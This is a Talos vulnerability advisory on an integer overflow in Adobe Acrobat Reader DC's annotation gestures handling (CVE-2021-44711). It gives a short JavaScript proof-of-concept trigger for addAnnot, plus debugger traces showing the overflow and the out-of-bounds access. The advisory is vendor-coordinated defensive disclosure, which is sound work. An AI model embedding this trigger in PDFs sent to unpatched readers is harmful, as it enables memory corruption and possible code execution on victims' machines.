Talos Vulnerability Report

TALOS-2021-1410

Adobe Acrobat Reader DC annotation gestures integer overflow vulnerability

January 11, 2022
CVE Number

CVE-2021-44711

Summary

An integer overflow vulnerability exists in the way Adobe Acrobat Reader DC 2021.007.20099 supports annotation interactions through JavaScript. A specially-crafted PDF document can trigger this vulnerability, which can lead to arbitrary code execution. A victim needs to open the malicious file to trigger this vulnerability.

Tested Versions

Adobe Acrobat Reader 2021.007.20099

Product URLs

Acrobat Reader - https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-190 - Integer Overflow or Wraparound

Details

Adobe Acrobat Reader is one of the most popular and feature-rich PDF readers on the market. It has a large user base and is usually a default PDF reader on systems. It also integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially-crafted email attachment can be enough to trigger this vulnerability.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface. Javascript allows manipulation of form fields, annotations and other page content in a PDF document.

There exists a vulnerability in the way Adobe Reader supports interactions with annotations through Javascript. More specifically, there exists a method to add an annotation to a page through Javascript which is usually called like so:

document.addAnnot({page:0, type: "Ink", point: [1,1,1,1],popupOpen : " ",gestures : arrayOfArrayOfCoordinates});

Gestures parameter in the above call is supposed to be an array of arrays of x and y coordinates that specify a path to be drawn. The vulnerability lies in the way a Javascript object passed as a gestures value is being interpreted by annotations implementation inside Annots.api.
Javascript objects can be interpreted as arrays, and there are various backing implementations for Javascript arrays (mixed types, sparse…). A bug when checking the size of a sparse array can lead to memory corruption. To demonstrate the bug, the following PoC code can be embedded inside a PDF document:

var obj = {}
obj[-1] = {};
app.activeDocs[0].addAnnot({page:0, type: "Ink", point: [2,1,6,3],popupOpen : " ",gestures : obj});

The above creates an object with an apparent element at index -1 which is later misinterpreted by annotations api. This can be seen in the debugger:

Breakpoint 2 hit
Time Travel Position: 1C0184D:22
eax=8d8d0ff8 ebx=94732ff8 ecx=69ed8726 edx=0000ffff esi=8ee28fb8 edi=69ed86c0
eip=8a820808 esp=0553e220 ebp=0553e22c iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
Annots!PlugInMain+0x529d8:
8a820808 ff15e085cb8a    call    dword ptr [Annots!PlugInMain+0x4ea7b0 (8acb85e0)] ds:002b:8acb85e0={ucrtbase!atoi (774fc9e0)}
0:000> da poi(esp)
8d8d0ff8  "-1"
0:000> u
Annots!PlugInMain+0x529d8:
8a820808 ff15e085cb8a    call    dword ptr [Annots!PlugInMain+0x4ea7b0 (8acb85e0)]
8a82080e 59              pop     ecx
8a82080f 5e              pop     esi
8a820810 c9              leave
8a820811 c3              ret
8a820812 a13074df8a      mov     eax,dword ptr [Annots!PlugInMain+0x629600 (8adf7430)]
8a820817 6803000040      push    40000003h
8a82081c 8b7004          mov     esi,dword ptr [eax+4]
0:000> p
Time Travel Position: 1C0184D:D2
eax=ffffffff ebx=94732ff8 ecx=199998d0 edx=0000000a esi=8ee28fb8 edi=69ed86c0
eip=8a82080e esp=0553e220 ebp=0553e22c iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
Annots!PlugInMain+0x529de:
8a82080e 59              pop     ecx
0:000> ?eax
Evaluate expression: -1 = ffffffff

At the above breakpoint, we can observe a call to atoi() with “-1” as argument. Function atoi returns a signed integer , 0xFFFFFFFF in this case. The code in question proceeds to test if the returned value is bigger than max value of 0x55555 , but not before adding 1 to the returned value:

Annots!PlugInMain+0x1520e:
8a7e303e 8d4101          lea     eax,[ecx+1]
0:000> ?ecx
Evaluate expression: -1 = ffffffff
0:000> u
Annots!PlugInMain+0x1520e:
8a7e303e 8d4101          lea     eax,[ecx+1]
8a7e3041 8bcf            mov     ecx,edi
8a7e3043 50              push    eax
8a7e3044 e83ecc0300      call    Annots!PlugInMain+0x51e57 (8a81fc87)

Adding 1 to 0xFFFFFFFF results in an integer overflow, and the effective value is 0. Length checks in Annots!PlugInMain+0x51e57 will therefore pass, and the original 0xFFFFFFFF value is used when trying to index into an array:

0:000> ?ecx
Evaluate expression: -1 = ffffffff
0:000> ?eax
Evaluate expression: 0 = 00000000
0:000> u
Annots!PlugInMain+0x15223:
8a7e3053 6bc930          imul    ecx,ecx,30h
8a7e3056 83c618          add     esi,18h
8a7e3059 56              push    esi
8a7e305a 03c8            add     ecx,eax
8a7e305c e83907ffff      call    Annots!PlugInMain+0x596a (8a7d379a)

Above, we can see the value in ecx being multiplied by 0x30 and then added to pointer in eax which is NULL in this case. The above listing ends with a call to function Annots!PlugInMain+0x596a which uses the calculated offset as this pointer. Since the initial pointer is NULL , and the index multiplied by 0x30 wraps around many times, an out of bounds memory access will be triggered inside Annots!PlugInMain+0x596a which leads to a crash:

0:000> g
(e80.29f0): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 1C0184E:0
eax=638d526c ebx=ffffffd0 ecx=ffffffd0 edx=00000000 esi=00000000 edi=ffffffd0
eip=8a7d3a2d esp=0553e1d8 ebp=0553e200 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
Annots!PlugInMain+0x5bfd:
8a7d3a2d 833f01          cmp     dword ptr [edi],1    ds:002b:ffffffd0=????????

The above crash constitutes a near-NULL pointer dereference. In the PoC Javascript code quoted above, the malformed object is empty for simplicity, but the attached PoC uses a different object to demonstrate memory corruption. With a specifically-crafted object, the out of bounds memory access can be influenced, which could lead to further memory corruption and ultimately arbitrary code execution.

Timeline

2021-11-05 - Vendor Disclosure
2022-01-11 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.